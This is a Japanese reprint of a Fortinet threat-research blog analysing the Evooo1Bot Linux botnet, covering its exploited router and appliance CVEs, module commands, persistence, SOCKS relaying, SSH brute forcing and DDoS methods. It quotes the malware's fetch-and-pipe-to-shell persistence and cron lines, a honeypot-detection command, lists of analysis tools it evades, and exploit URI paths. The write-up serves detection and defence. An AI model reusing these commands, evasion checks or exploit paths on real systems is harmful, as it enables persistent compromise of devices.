エッジデバイスを悪用し被害者を永続的なプロキシに変えるLinuxボットネット「Evooo1Bot」
提供: フォーティネットジャパン
本記事はフォーティネットジャパンが提供する「FORTINETブログ」に掲載された「多機能なLinuxボットネット「Evooo1Bot」」を再編集したものです。
米国時間2026年8月13日に掲載されたフォーティネットブログの抄訳です。
影響を受けるプラットフォーム:Linux
影響を受けるユーザー :あらゆる組織
影響 :リモートの攻撃者による脆弱なシステムの乗っ取り
深刻度 :クリティカル
FortiGuard Labsは、これまで報告されていないLinuxボットネットファミリーを追跡しており、これをEvooo1Botと命名しました。この名称は、すべてのバイナリに文字列「evooo1」がハードコードされていることに由来しています。このマルウェアは、Miraiの公開されたソースコードに含まれるDDoSエンジンを再利用していますが、暗号化されたC2通信、SSH総当たりスキャナ、SOCKSリレーモジュール、認証情報スニファー、そして複数の既知の脆弱性を標的とする統合されたエクスプロイト群など、多数の機能によって元のフレームワークを拡張しています。そのC2インフラストラクチャからのテレメトリによると、Evooo1Botは2026年7月以降、インターネットに接続されたデバイスを活発に標的とし、さまざまな地域で複数の脆弱性を悪用していることが示されています。本ブログでは、Evooo1Botのモジュール式アーキテクチャと活動の特徴を詳細に分析します。
検知の経緯
Evooo1Botは、FortiGuard IPSのテレメトリを通じて検知されました。さまざまなエッジデバイスを標的とした活発な悪意ある試みが観測され、すべてのペイロードのコールバックが同一のローダーURL(91.92.40[.]118/wget.sh)を指していました。捕捉されたトラフィック全体で、以下の脆弱性の悪用が確認されています。
・CVE-2007-3010:Alcatel OmniPCX Enterpriseにおけるリモートコード実行の脆弱性
・CVE-2016-6277:NETGEARの複数のルーターにおけるリモートコード実行の脆弱性
・CVE-2018-14558:TendaのAC7 / AC9 / AC10ルーターにおけるコマンドインジェクションの脆弱性
・CVE-2019-14931:Mitsubishi Electric Europe B.V. ME-RTUデバイスおよびINEA ME-RTUデバイスにおけるリモートコマンドインジェクションの脆弱性
・CVE-2020-10987:Tenda AC1900ルーターAC15モデルにおけるリモートコード実行の脆弱性
・CVE-2021-46422:Telesquare SDT-CW3B1におけるコマンドインジェクションの脆弱性
・CVE-2022-37055:D-Linkルーターにおけるバッファオーバーフローの脆弱性
・CVE-2024-29269:Telesquare TLR-2005KSHにおけるコマンドインジェクションの脆弱性
・CVE-2025-10123:D-Link DIR-823Xにおけるコマンドインジェクションの脆弱性
・CVE-2025-55583:D-Link DIR-868L B1ルーターにおけるコマンドインジェクションの脆弱性
ローダースクリプト「wget.sh」は、ホストのCPUアーキテクチャに一致するボットネットバイナリをダウンロードして実行します。脆弱性悪用のそれぞれの試みでは、ダウンロードコマンドに埋め込まれたキャンペーンラベルが付与されています(例えば、Mitsubishi Electric Europe B.V.が標的の場合は-s mitsu、Alcatel-Lucentが標的の場合はrep.alcatel)。脆弱性ごとの感染成功率を攻撃者が個別に追跡していると見られます。
続いてローダースクリプトwget.shは、wget、busybox wget、curl、tftpをこの順で使用して、12種類のバイナリ亜種をダウンロードします。バイナリは一時パスに書き込まれ、実行可能に設定された上で実行されます。感染後にはBashの履歴が消去されます。
基本的なサンプル特定
Evooo1Botの静的文字列は、コンパイル時に適用される多層パイプラインによって保護されています。この復号手順によって、60個以上の暗号化された文字列ブロックが処理されます。AESとChaCha20の鍵は、バイナリファイルには直接格納されません。各鍵は、.dataに埋め込まれた2つの32バイト定数に分割され、実行時にXOR演算によって結合されます。
.rodataセクション(i386ビルドでは0x43)内の文字列のサブセットに対しては、別のXORデコード処理が適用されます。
起動時、バイナリは分析ツールの存在を確認してから処理を続行します。
・ファイルシステムの存在確認:strace、ltrace、gdb、lldb、valgrind、perf、radare2、r2、rizin、cutter、iaito、ghidra、ghidraRun、ida、ida64、idat、idat64、objdump、readelf、retdec-decompiler、wireshark、tshark、tcpdump、ngrep、ettercap、yara、ssdeep、binwalk、foremost、sysdig、bpftrace、auditd、ausearch、fatrace、inotifywait、lynis、rkhunter、chkrootkit、clamdscan、clamscan、volatility、vol.py、gcore
・実行中のプロセス名の確認:gdb、lldb、strace、ltrace、radare2、r2、rizin、rr、valgrind、perf、ida、ida64、ghidra、sysdig、bpftrace、frida、frida-server
・サンドボックスサービスの名称確認:sandboxie、cuckoo、anubis、threatexpert、joebox、comodo、hybrid-analysis、cape-sandbox、fireeye、normanbox、drakvuf
・VMおよびコンテナ環境のフィンガープリント確認:vmware、vbox、virtualbox、qemu、firejail、bubblewrap、gvisor、kata、cuckoo、joesandbox、cape、any.run、hybrid-analysis
これらのチェックを通過すると、ポート443でC2サーバーとの接続の確立を開始します。このポートが選択されているのは、ネットワーク境界で想定される通常のHTTPSトラフィックに紛れ込ませるためです。C2サーバーとの初回接続を完了すると、次のアクションを実行するための追加のコマンドを待機します。
機能モジュール
Evooo1Botには複数のコマンドが埋め込まれており、以下のモジュールに分類できます。(注:これは最新バージョンに基づいています。初期のビルドでは、!cve、!stopcve、!cveallを除くすべてのコマンドがサポートされています)
| モジュール | コマンド | 説明 |
| 永続化 | !persist | すべての永続化メカニズムをインストールする |
| 自己アップデート | !reinstall | 実行中のバイナリをダウンロードして置き換える |
| 制御 | !kill !exit !info |
ボットを強制終了する、正常終了する、またはシステム情報を返す |
| ファイル転送 | !download !upload |
双方向対応。ダウンロードの上限は10 MB。__FILE_START__および__FILE_END__マーカーで区切られる |
| 対話型シェル | !shell !exec !stream !detach !bg |
/dev/ptmx PTYを開き、TERM=xterm-256colorを設定し、バックグラウンド実行と切り離しをサポートする |
| スニファー | !sniff !stopsniff |
/proc/net/tcpを読み取り、HTTP Basic認証とCookieヘッダーを傍受し、/tmp/.sniff.logに書き込む |
| SOCKSリレー | !socks !socksauth !stopsocks |
被害者をプロキシノードに変え、任意の認証機能を備え、任意のTCPトラフィックを中継する |
| SSHスキャナ | !ssh !stopssh !enableautossh !disableautossh |
組み込みのSSHクライアントと、150件以上の認証情報辞書を搭載 |
| DDoS | !attack !stopattack |
16種類のフラッド攻撃手法 |
| CVEエクスプロイト | !cve !stopcve !cveall |
攻撃者指定のペイロードホストを使用する、HTTPベースのエクスプロイトディスパッチャー(MODE:allで同時スキャンを実行) |
以下のセクションでは、「永続化」、「SOCKSリレー」、「SSHスキャナ」、「DDoS」、「CVEエクスプロイト」の各モジュールについて、さらに詳しく説明します。
永続化メカニズム
!persistコマンドは、すべてのメカニズムを同時にインストールします。
・systemdサービス:「Description=Apache HTTPD Cache Manager」と「Restart=always」を指定したユニットファイルを設定します。
・SysV initスクリプト:/etc/init.dパスに、ヘッダー「### BEGIN INIT INFO」とダウンロード用スクリプト「(wget -qO- <URL> || curl -sL <URL>) | /bin/sh > /dev/null 2>&1 &」を含むスクリプトをインストールします。
・Cron:5分ごとにスクリプトをダウンロードするエントリを含む定期タスクを設定します。
*/5 * * * * /bin/sh -c '(wget -qO- <URL> || curl -sL <URL>) | /bin/sh > /dev/null 2>&1 &'
・シェルプロファイル:/etc/profile.d/へのインジェクションを行い、ログイン時に実行させます。
・rc.local:「/etc/rc.local」内にスクリプトをダウンロードするためのコードを追記します。
強制終了を回避するため、バイナリは/proc/self/oom_score_adjに書き込んでOOM-killerの優先度を下げ、さらにデバイスの再起動によって操作が中断されるのを防ぐため、/dev/watchdogをオープン状態に保ちます。
SOCKSリレー
ペイロードのダウンロードや攻撃の実行に重点を置く一般的なボットネットコマンドとは異なり、!socksモジュールは感染ホストをSOCKS5プロキシとして動作させ、オペレーターがネットワークリレーとして利用できるようにします。このモジュールは2つの動作モードに対応します。ダイレクトモードでは、感染ホスト上でデフォルトのTCPポート1080を使用してSOCKS5リスナーを開き、外部からのクライアント接続を待機します。この実装では、まずデュアルスタックのIPv6リスナーの作成を試み、失敗した場合はIPv4にフォールバックします。続いて、接続を受け付けた各クライアントは、プロキシ処理のためにセッションハンドラーに渡されます。
ボットネットには、リバースリレーモードも実装されています。ボットは、リスニングポートを公開する代わりに、攻撃者が指定したリレーサーバーに対して、暗号化されたアウトバウンド接続を確立します。この永続的な制御チャネルは、新しいプロキシセッションを作成すべきことを示すRELAY_NEW:<session_id>などのコマンドを待機します。
要求を受信すると、ボットは同じリレーサーバーに対して2つ目の暗号化接続を開き、RELAY_DATA:<session_id>を使用してその接続を登録し、SOCKS5プロキシルーチンに接続を引き渡します。このアーキテクチャでは、セッション制御とプロキシトラフィックが分離され、安定した制御接続を維持しながら複数のセッションを独立して実行させることが可能になります。
この機能により、攻撃者にとっての感染ホストの価値が大きく高まります。被害者のIPアドレスを悪用することで、悪意のあるトラフィックの偽装、地理的制限の回避、侵害済みマシンを足掛かりにした内部ネットワークへのアクセスが可能になります。より大規模なボットネットでは、この機能を利用して分散型プロキシインフラストラクチャを構築し、匿名でのトラフィック転送や、一般家庭向け / 企業向けプロキシサービスを通じた収益化も可能になります。
SSH総当たり攻撃
このボットネットは、スキャナの起動を試みる前に、接続の異なる段階で2回のハニーポットチェックを実行します。最初のチェックは、認証情報が送信される前のプロトコルのハンドシェイク中に実行されます。スキャナは、標的のSSHバナーを、以下の表に示されたハードコードされたリストと照合します。いずれかのエントリに一致した場合、ログの記録やそれ以上の操作を行うことなく、標的は暗黙的にスキップされます。
| Cowrie | SSH-2.0-paramiko | SSH-2.0-Go |
| Kippo | SSH-2.0-libssh | SSH-2.0-Parks |
| Hon | SSHTwisted | SSH-2.0-CISCO_WLC |
| Glutton | russh_ | SSH-2.0-Server |
| OpenCanary | ssh2js | SSH-2.0-MocanaSSH |
2つ目のチェックは、ログインに成功した後、永続化ペイロードが送信される前に実行されます。スキャナは、確立されたセッションを介して次のコマンドを送信します。
cat /proc/version 2>/dev/null; echo ---; cat /proc/1/cmdline 2>/dev/null; ls /opt/cowrie /home/cowrie /home/kippo 2>/dev/null
出力されたバージョンで、部分文字列「Linux version」が含まれているかどうかがチェックされます。これが存在しない場合には、エミュレート環境または非標準の環境であることが示唆され、標的がスキップされます。lsコマンドは、CowrieとKippoという2つのハニーポットファミリーを検知します。何らかの指標が検出された場合、スキャナはその標的の処理を中止します。3つの条件すべてを満たしたホストのみが、ペイロードの配信へと進みます。
これら2つのチェックは重複ではなく、相互補完的な関係にあります。バナーチェックは、SSH実装識別子を通じて自らを明らかにするハニーポットを排除します。ログイン後の調査は、もっともらしいSSHバナーを提示しつつ、基盤となるホストのファイルシステム構成によって自らを露呈するハニーポットを対象としています。両方のチェックを通過した標的は、ペイロードの配信へと進みます。
その後、組み込みのSSHスキャナは、バナー「SSH-2.0-OpenSSH_9.7p1」を持つSSHクライアント実装を使用します。組み込まれた認証情報辞書には、150件以上のエントリが含まれています。このリストには、一般的なIoTデバイスのデフォルト認証情報に加え、消費者向けルーターではなくエンタープライズ環境やオペレーショナルテクノロジー(OT)環境で一般的に見られるサービスアカウント名(jenkins、postgres、oracle、nagios、deploy)が含まれています。
DDoS攻撃手法
DDoSエンジンは、公開されたMiraiのソースコードと構造的に一致しています。HTTPフラッドのバリアント(!attackパラメータ文字列内のhttp methodキーによってトリガーされる)は、攻撃者が指定したMETHOD、HEADER、EXPECTの値に対応し、カスタマイズ可能なUser-AgentおよびContent-Lengthを含む要求を生成します。
| ID | 手法 | 説明 |
| 0x00 | udp | 汎用のUDPフラッド |
| 0x01 | vse | Valve Source Engineのクエリ増幅 |
| 0x02 | dns | DNSフラッド |
| 0x03 | syn | TCP SYNフラッド |
| 0x04 | ack | TCP ACKフラッド |
| 0x05 | stomp | TCP STOMP |
| 0x06 | greip | GREでカプセル化したIPフラッド |
| 0x07 | greeth | GREでカプセル化したイーサネットフラッド |
| 0x08 | udpplain | 高PPS UDP、最小ヘッダーオーバーヘッド |
| 0x09 | std | ランダム長ペイロードのUDPフラッド |
| 0x0a | xmas | 全フラグを有効にしたTCP |
| 0x0b | usyn | URG+SYNのバリアント |
| 0x0c | tcpall | フラグを任意に組み合わせたTCP |
| 0x0d | tcpfrag | 断片化TCPフラッド |
| 0x0e | ovh | OVH DDoS緩和を回避するための手法 |
| 0x0f | asyn | 非同期SYNフラッド |
CVEエクスプロイトモジュール
エクスプロイトモジュールには、バイナリに埋め込まれた平文のCVEテーブルが含まれており、各エントリはCVE識別子を1つ以上のHTTP要求文字列に対応付けています。実行時に!cve <url>または!cveall <url>を通じてペイロードホストが指定され、wgetの配信コマンドに代入されます。すべてのエクスプロイトエントリで同じ配信方法が採用されています。以下の表に、ボットネットから抽出された脆弱性とURIパスを一覧します。
| CVE番号 | 標的の製品 | パス |
| CVE-2021-36260 | Hikvision IPカメラ | /SDK/webLanguage |
| CVE-2022-26134 | Atlassian Confluence | /%24%7B%28%23a %3D%40org.apache. commons.io.IOUtils |
| CVE-2022-30525 | Zyxelファイアウォール | /ztp/cgi-bin/handler |
| CVE-2023-1389 | TP-Link Archer AX21 | /cgi-bin/luci/;stok=/locale |
| CVE-2024-4577 | PHP-CGI (Windows) | allow_url_include%3D |
| CVE-2024-10914 | D-Link NAS | /cgi-bin/account_mgr.cgi |
| CVE-2025-1974 | Kubernetes ingress-nginx | /apis/networking/v1/ingresses |
| CVE-2022-29464 | WSO2製品 | /fileupload/ |
このボットネットには、実装上の誤りによりエクスプロイトを成功させられないエントリがいくつか含まれています。いずれの場合も、コードは実際の攻撃ベクトルを再現していません。脆弱性の種類がコマンドインジェクションに対応していないか、あるいは要求と一致する公開インタフェースが標的に存在しません。これらは現状のままでは悪用不可能です。例えば、CVE-2023-34362は、MOVEit Transferを標的とする脆弱性です。侵害に成功した後、攻撃者は「human2.aspx」といったファイル名のWebシェルを展開することが報告されています。しかし、このエクスプロイトモジュールはファイルアップロードの手順を実行せず、「human2.aspx」にペイロード引数を渡すだけです。
結論
Evooo1Botは、MiraiのDDoSエンジンを、より高機能でモジュール化されたフレームワークに組み込んだLinuxボットネットファミリーです。従来のボットネットの機能に加え、暗号化されたC2通信、AES-256-CTR、ChaCha20、XORベースの鍵導出を用いた多層的な文字列難読化、さらに28種類のコマンドに対応したリモート管理インタフェースを備えています。こうした機能により、Evooo1Botは、従来のMirai派生マルウェアをはるかに上回る技術水準を実現しています。
Evooo1Botには、攻撃モジュールに加え、IoTデバイス、ネットワーク機器、エンタープライズアプリケーションに存在する複数の既知の脆弱性を標的とした統合エクスプロイト群が含まれています。中でもリバースSOCKSリレーモジュールは、運用上の重要性が最も高い要素であると言えます。このマルウェアは、侵害されたルーター、ファイアウォール、IPカメラなどのエッジデバイスを常時接続のプロキシに変えることで、攻撃者が真の発信元を隠蔽し、内部ネットワークへ侵入し、被害者のインフラストラクチャを通じてその後の攻撃を実行することを可能にします。
防御側の組織は、悪用のリスクを軽減するため、インターネットに接続されたデバイスやネットワーク機器へのパッチ適用を速やかに実施する必要があります。Evooo1Botのようなボットネットによるリスクを最小限に抑えるには、定期的なファームウェアのアップデート、不審な外部への接続に対する継続的な監視、脆弱なシステムに対する迅速な是正措置が依然として不可欠です。
フォーティネットのソリューション
本レポートで説明したマルウェアは、FortiGuardアンチウイルスによって以下として検知され、ブロックされます。
Linux/Agent.BDS!tr
FortiGuard AntiVirusサービスエンジンは、FortiGate、FortiMail、FortiClient、FortiEDRに統合されています。これらの製品を最新のシグネチャで運用しているお客様は、本レポートに記載されているマルウェアコンポーネントから保護されます。
FortiGuard Webフィルタリングサービスは、このC2サーバーをブロックします。
FortiGuard Labsは、以下の脆弱性を悪用するサイバー攻撃に対するIPSシグネチャを提供しています。
CVE-2007-3010:alcatel-lucent.omnipcx.office.mastercgi.user.command.execution
CVE-2016-6277: NETGEAR.WebServer.Module.Command.Injection
CVE-2018-14558およびCVE-2020-10987:Tenda.AC15.AC1900.Authenticated.Remote.Command.Injection
CVE-2019-14931:mitsubishi.electric.me-rtu.command.injection
CVE-2021-36260: Hikvision.Products.SDK.WebLanguage.Tag.Command.Injection
CVE-2021-46422およびCVE-2024-29269: Telesquare.SDT-CW3B1.Command.Injection
CVE-2022-26134: HTTP.URI.Java.Expression.Language.Code.Injection
CVE-2022-29464:WSO2.fileupload.Arbitrary.File.Upload
CVE-2022-30525: Zyxel.Firewall.ZTP.Command.Injection
CVE-2022-37055: D-link.go-rt-ac750.hnap_main.buffer.overflow
CVE-2023-1389: TP-Link.Archer.AX21.luci.stok.Command.Injection
CVE-2024-10914: D-Link.Devices.account_mgr.cgi.Command.Injection
CVE-2024-4577:PHP.CGI.Argument.Injection
CVE-2025-10123: D-Link.DIR-823X.set_static_leases.Command.Injection
CVE-2025-55583: D-Link.DIR-868L.fileaccess.cgi.Command.Injection
基礎的なセキュリティ意識の強化を目指すお客様は、サイバーセキュリティに関するフォーティネット認定ファンダメンタルズ(FCF)トレーニングの実施もご検討ください。このモジュールを受講することで、エンドユーザーがフィッシング攻撃を特定して自らを保護する方法を習得できます。
FortiGuard IPレピュテーションおよびアンチボットネットセキュリティサービスは、フォーティネットが全世界に展開するセンサーネットワーク、CERTの連携、MITRE、信頼できる業界パートナー、その他のインテリジェンスソースから収集した悪意あるIPインテリジェンスを相関させることで、このキャンペーンに関連するインフラストラクチャをプロアクティブにブロックします。
このようなサイバーセキュリティの脅威の影響を受けていることが疑われる場合は、グローバルのFortiGuardインシデントレスポンスチームにお問い合わせください。
IOC(Indicators of Compromise:侵害指標)
IP
91.92.40[.]118
ハッシュ
f13cb360768363d3424e2192c7805b8c8015eb8706dbbbcdead6aed8cf390109
4c0886349e9d348569fffe1b7a31e474d514508bf0cd6f1e5dd99c2a73525e4d
本記事はアフィリエイトプログラムによる収益を得ている場合があります
この記事の編集者は以下の記事もオススメしています
-
sponsored
AIと自動化がクラウド攻撃チェーンを加速(2026年クラウドネイティブ脅威動向レポートより) -
sponsored
スペイン・ポルトガルの銀行利用者を標的としたOusaban攻撃が進行中 -
sponsored
AI関連文書を装ってマルウェア「AsyncRAT」を配信する攻撃キャンペーンを確認










